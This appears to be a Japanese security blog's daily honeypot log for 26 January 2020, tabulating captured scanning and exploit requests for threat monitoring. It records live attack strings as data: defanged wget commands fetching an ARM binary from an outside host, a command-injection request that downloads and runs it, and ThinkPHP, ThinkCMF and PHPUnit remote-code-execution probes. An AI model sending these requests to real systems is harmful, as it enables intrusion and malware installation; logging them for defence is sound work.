WOWHoneypot観察(315日目)

2020/01/26(日)

トータルは99件でした。

ハンティングログは以下です。

62.86.203[.]177 wget hxxp[:]//switchnets[.]net/hoho.arm7

80.21.75[.]143 wget hxxp[:]//switchnets[.]net/hoho.arm7

www.virustotal.com
www.virustotal.com

件数	概要	リクエスト
51	アクセス	GET /
9	調査	GET /script
4		POST /TP/public/index.php?s=captcha
4	ThinkPHPの脆弱性を狙った通信	GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
4	ThinkPHPの脆弱性を狙った通信	GET /TP/public/index.php
3	Spring Data Commonsの脆弱性を狙った通信	POST /users?page=&size=5
2	Linear eMerge E3の脆弱性を狙った通信	GET /card_scan_decoder.php?No=30&door=%60wget%20hxxp[:]//switchnets.net/hoho.arm7;%20chmod%20777%20hoho.arm7;%20./hoho.arm7%20linear%60
2	ZmEuによるphpMyAdminのスキャン	GET /w00tw00t.at.blackhats.romanian.anti-sec:)
2	ZmEuによるphpMyAdminのスキャン	GET /pma/scripts/setup.php
2	ZmEuによるphpMyAdminのスキャン	GET /phpmyadmin/scripts/setup.php
2	ZmEuによるphpMyAdminのスキャン	GET /phpMyAdmin/scripts/setup.php
2	ZmEuによるphpMyAdminのスキャン	GET /myadmin/scripts/setup.php
2	ZmEuによるphpMyAdminのスキャン	GET /MyAdmin/scripts/setup.php
1	Tomcat管理ページの調査	GET /manager/html
1	調査	GET /backup/
1	設定ファイル調査	GET ///html/admin/config.php
1	設定ファイル調査	GET ///fpbx/admin/config.php
1	設定ファイル調査	GET ///asterisk/admin/config.php
1	設定ファイル調査	GET ///admin/config.php
1	PHPUnitの脆弱性（CVE-2017-9841）を狙った通信	POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	Solrの調査	GET /solr/admin/info/system?wt=json
1	ThinkPHPの脆弱性を狙った通信	GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
1	ThinkCMFの脆弱性を狙った通信	GET /?a=fetch&content=die(@md5(HelloThinkCMF))
1		GET /?XDEBUG_SESSION_START=phpstorm
1	不正中継の試み	CONNECT ip.ws.126.net:443